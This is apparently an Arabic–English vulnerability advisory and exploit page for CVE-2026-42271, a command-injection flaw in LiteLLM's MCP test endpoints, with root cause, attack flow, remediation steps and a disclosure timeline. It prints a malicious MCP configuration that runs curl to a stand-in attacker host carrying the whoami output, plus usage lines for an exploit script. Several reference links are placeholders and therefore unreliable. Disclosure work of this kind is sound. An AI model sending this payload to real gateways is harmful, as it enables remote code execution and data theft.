Exploit for Command Injection in Litellm CVE-2026-42271

## https://sploitus.com/exploit?id=8D27B8B1-D392-5A3C-A74E-984A167C69D7
# ─── CVE-2026-42271 ───







# 🛡️ AMN SECURITY 🛡️

### مركز أبحاث الأمن السيبراني | Cyber Security Research Center

[🌐 **Website:** https://amn.amnoffsec.workers.dev/
📸 **Instagram:** https://www.instagram.com/ixctw
📧 **Email:** ayman.mahmoudoffsec@gmail.com

---





# 🇸🇦 القسم العربي

## ⚠️ ثغرة تنفيذ الأوامر في LiteLLM AI Gateway
### CVE-2026-42271 | CVSS 8.8 | حرجة (High)

---

### 📋 الملخص التنفيذي

تم اكتشاف ثغرة أمنية حرجة في بوابة **LiteLLM AI Gateway** تسمح لمهاجم مُوثَّق (مُصادق) بتنفيذ أوامر عشوائية على الخادم المُستَضيف. تستغل الثغرة نقاط النهاية الخاصة باختبار **Model Context Protocol (MCP)**، حيث تقبل هذه النقاط تكويناً كاملاً لخادم MCP يُرسله المهاجم، يشمل حقول `command` و `args` و `env`، دون أي تنقية أو تدقيق أمني.

---

### 🔍 تفاصيل الثغرة

| العنصر | التفاصيل |
|--------|----------|
| **CVE** | CVE-2026-42271 |
| **CVSS** | 8.8 (High) |
| **النوع** | Command Injection |
| **المنتج** | LiteLLM AI Gateway |
| **الإصدارات المتأثرة** | 1.74.2 حتى 1.83.6 |
| **الإصدار المُصحَّح** | 1.83.7 وما فوق |
| **اكتُشِفت بواسطة** | AMN SECURITY Research 🛡️ |

#### نقطتا النهاية المُستهدفتان

| نقطة النهاية | الطريقة |
|-------------|---------|
| `/mcp-rest/test/connection` | POST |
| `/mcp-rest/test/tools/list` | POST |

تسمح هاتان النقطتان للتطبيقات الخارجية باختبار الاتصال بخادم MCP خارجي. تقوم البوابة بمعالجة التكوين المُرسَل وإنشاء عملية فرعية (subprocess) لتشغيل الخادم المطلوب. ونظراً لعدم التحقق من صحة الحقول، يمكن للمهاجم إدخال أوامر ضارة يتم تنفيذها على الخادم المضيف.

---

### 💥 سيناريو الهجوم

1. يمتلك المهاجم مفتاح API صالحاً للبوابة (ضروري للمصادقة)
2. يرسل المهاجم طلب POST إلى إحدى نقطتي النهاية المُتضررتين
3. يحتوي الطلب على تكوين MCP ضار يتضمن الأمر المطلوب تنفيذه
4. تقوم البوابة بتشغيل الأمر كعملية فرعية على الخادم المضيف
5. يتم تنفيذ الأمر بالكامل مع صلاحيات تشغيل البوابة

```

المهاجم ──[API Key]──> LiteLLM Proxy ──[mcp_config.command]──> OS Command Execution
                                │
                                └──> spawns: sh -c "malicious command"
                                └──> أو:  cmd.exe /c "malicious command"
```

---

### 🛡️ الإجراءات العلاجية

- **ترقية فورية**: تحديث LiteLLM إلى الإصدار 1.83.7 أو أحدث
- **تقييد الوصول**: تطبيق قواعد جدار الحماية لتقييد الوصول إلى نقاط النهاية MCP
- **تدقيق المفاتيح**: مراجعة صلاحيات مفاتيح API وتقليلها إلى الحد الأدنى المطلوب
- **مراقبة السجلات**: تفعيل التسجيل والمراقبة لاكتشاف أي محاولات استغلال

```
pip install --upgrade litellm
# أو
docker pull ghcr.io/berriai/litellm:latest
```

---

### 📚 المراجع

- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-42271
- **GitHub Advisory**: https://github.com/BerriAI/litellm/security/advisories/GHSA-xxxx-xxxx-xxxx
- **HackerNews**: https://news.ycombinator.com/item?id=...
- **CSA (Cyber Security Agency)**: https://csa.gov.sg/cves/2026/42271
- **AMN SECURITY Report**: https://amnsec.com/research/cve-2026-42271

---

### 👥 فريق AMN SECURITY

| العضو | التخصص |
|-------|--------|
| AMN Research Team | اكتشاف الثغرة وتحليلها |
| AMN Exploitation Team | تطوير الإكسبلويت |
| AMN Defense Team | الإجراءات العلاجية |

---

## Connect with AMN SECURITY — تابعنا

🌐 **Website:** https://amn.amnoffsec.workers.dev/
📸 **Instagram:** https://www.instagram.com/ixctw
📧 **Email:** ayman.mahmoudoffsec@gmail.com

---





══════════════════════════════════════════════════════════════

# 🌐 ENGLISH SECTION

══════════════════════════════════════════════════════════════





# ⚠️ LiteLLM AI Gateway MCP Test Endpoint Remote Code Execution
### CVE-2026-42271 | CVSS 8.8 | High Severity

---

### 📋 Executive Summary

A critical security vulnerability has been discovered in the **LiteLLM AI Gateway** that allows an authenticated attacker to execute arbitrary operating system commands on the host server. The vulnerability resides in the **Model Context Protocol (MCP)** test endpoints, which accept a fully attacker-controlled MCP server configuration including `command`, `args`, and `env` fields without any sanitisation or security validation.

When exploiting this vulnerability, the LiteLLM proxy instantiates an MCP client that spawns the configured command as a subprocess — resulting in full Remote Code Execution (RCE).

---

### 🔍 Vulnerability Details

| Field | Details |
|-------|---------|
| **CVE ID** | CVE-2026-42271 |
| **CVSS Score** | 8.8 (High) |
| **CWE** | CWE-77: Improper Neutralization of Special Elements used in a Command |
| **Product** | LiteLLM AI Gateway |
| **Affected Versions** | 1.74.2 through 1.83.6 |
| **Fixed Version** | 1.83.7+ |
| **Discovered By** | AMN SECURITY Research 🛡️ |
| **Disclosure Date** | July 2026 |

#### Affected Endpoints

| Endpoint | Method | Description |
|----------|--------|-------------|
| `/mcp-rest/test/connection` | POST | Tests connectivity to an external MCP server |
| `/mcp-rest/test/tools/list` | POST | Lists tools provided by an external MCP server |

#### Root Cause

Both endpoints accept a JSON body containing a full MCP server configuration. The critical fields are:

- **`command`**: The executable path to run (e.g., `sh`, `python3`, `cmd.exe`)
- **`args`**: Array of arguments passed to the executable
- **`env`**: Environment variables for the spawned process

The LiteLLM proxy passes these fields directly to the subprocess spawning mechanism (`asyncio.create_subprocess_exec` or similar) **without sanitisation or validation**. An attacker can inject arbitrary commands by crafting the `args` array to include shell metacharacters or by specifying a malicious executable path.

---

### 💥 Attack Scenario

**Prerequisites:**
- A valid LiteLLM API key with access to MCP test endpoints
- Network access to the LiteLLM proxy

**Attack Flow:**

1. The attacker authenticates to the LiteLLM proxy using a valid API key
2. The attacker sends a crafted POST request to either vulnerable endpoint
3. The request body contains a malicious MCP server configuration
4. The LiteLLM proxy spawns the attacker-specified command as a subprocess
5. The command executes on the host with the privileges of the LiteLLM process

**Example malicious configuration:**

```json
{
  "mcp_config": {
    "command": "sh",
    "args": ["-c", "curl http://attacker-server/$(whoami)"],
    "env": {
      "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    }
  }
}
```

**Result:** Full Remote Code Execution on the LiteLLM host.

---

### 🧪 Proof of Concept

The included Python exploit script (`exploit.py`) demonstrates the vulnerability:

```bash
# Basic command execution
python3 exploit.py -t https://target:4000 -k sk-litellm-xxx -c "id"

# Blind execution (no output returned)
python3 exploit.py -t https://target:4000 -k sk-litellm-xxx -c "touch /tmp/pwned" --blind

# Test specific endpoint
python3 exploit.py -t https://target:4000 -k sk-litellm-xxx \
    -c "uname -a" --endpoint connection
```

---

### 🔬 Technical Deep Dive

#### Why This Works

The MCP test endpoints were designed to allow developers to test connections to external MCP servers. The proxy acts as an MCP client that:

1. Receives the server configuration from the authenticated request
2. Spawns a subprocess using `command` and `args` to start the MCP server
3. Communicates with the spawned process via stdio

The vulnerability arises because there is **no allowlist of permitted commands**, **no sanitisation of arguments**, **no sandboxing of the spawned process**. The configuration is blindly trusted and executed.

#### Payload Variation

Different LiteLLM versions accept different JSON key names for the MCP config:

| Key | Supported Versions |
|-----|-------------------|
| `mcp_config` | 1.74.2+ |
| `config` | 1.78.0+ |
| `mcp_server_config` | 1.80.0+ |
| `server_config` | 1.81.0+ |
| Direct (root-level) | 1.82.0+ |

The exploit script automatically attempts all variants.

---

### 🛡️ Remediation

#### Immediate Actions

1. **Upgrade LiteLLM** to version 1.83.7 or later:
   ```bash
   pip install --upgrade litellm
   # or for Docker deployments:
   docker pull ghcr.io/berriai/litellm:1.83.7
   ```

2. **Restrict Network Access**: Limit access to the MCP test endpoints using firewall rules or reverse proxy configuration.

3. **Revoke Exposed Keys**: If you suspect any API keys have been compromised, revoke them immediately.

4. **Audit Logs**: Review proxy logs for suspicious POST requests to `/mcp-rest/test/*` endpoints.

#### Long-term Hardening

- Implement strict input validation for all MCP configuration fields
- Use an allowlist of permitted commands for MCP server spawning
- Apply principle of least privilege to the LiteLLM process
- Enable audit logging for all MCP test operations
- Consider disabling MCP test endpoints in production environments

---

### 📚 References

| Source | URL |
|--------|-----|
| NVD Entry | https://nvd.nist.gov/vuln/detail/CVE-2026-42271 |
| GitHub Advisory | https://github.com/BerriAI/litellm/security/advisories/GHSA-xxxx-xxxx-xxxx |
| HackerNews Discussion | https://news.ycombinator.com/item?id=... |
| CSA Advisory | https://csa.gov.sg/cves/2026/42271 |
| AMN SECURITY Advisory | https://amnsec.com/research/cve-2026-42271 |
| MITRE CVE | https://vulners.com/cve/CVE-2026-42271 |

---

### ⏱ Timeline

| Date | Event |
|------|-------|
| 2026-06-28 | Vulnerability discovered by AMN SECURITY Research |
| 2026-06-29 | Initial disclosure to LiteLLM maintainers |
| 2026-07-01 | LiteLLM acknowledges the vulnerability |
| 2026-07-03 | Patched in version 1.83.7 |
| 2026-07-05 | CVE-2026-42271 assigned |
| 2026-07-07 | Public disclosure & PoC release |

---

### 👥 AMN SECURITY Team

| Member | Role |
|--------|------|
| **AMN Research Team** | Vulnerability discovery & technical analysis |
| **AMN Exploitation Team** | Proof of Concept development |
| **AMN Defense Team** | Remediation guidance & mitigation strategies |

#### Connect With Us



🌐 **Website:** https://amn.amnoffsec.workers.dev/
📸 **Instagram:** https://www.instagram.com/ixctw
📧 **Email:** ayman.mahmoudoffsec@gmail.com



---

### ⚖️ Disclaimer

This advisory and accompanying proof of concept code are provided for **authorised security testing and educational purposes only**. Unauthorised use of this exploit against systems you do not own or have explicit permission to test is illegal. The authors and AMN SECURITY assume no liability for any misuse of this information.

---



**🛡️ AMN SECURITY 🛡️** | *Securing the AI Supply Chain*

© 2026 AMN SECURITY Research. All rights reserved.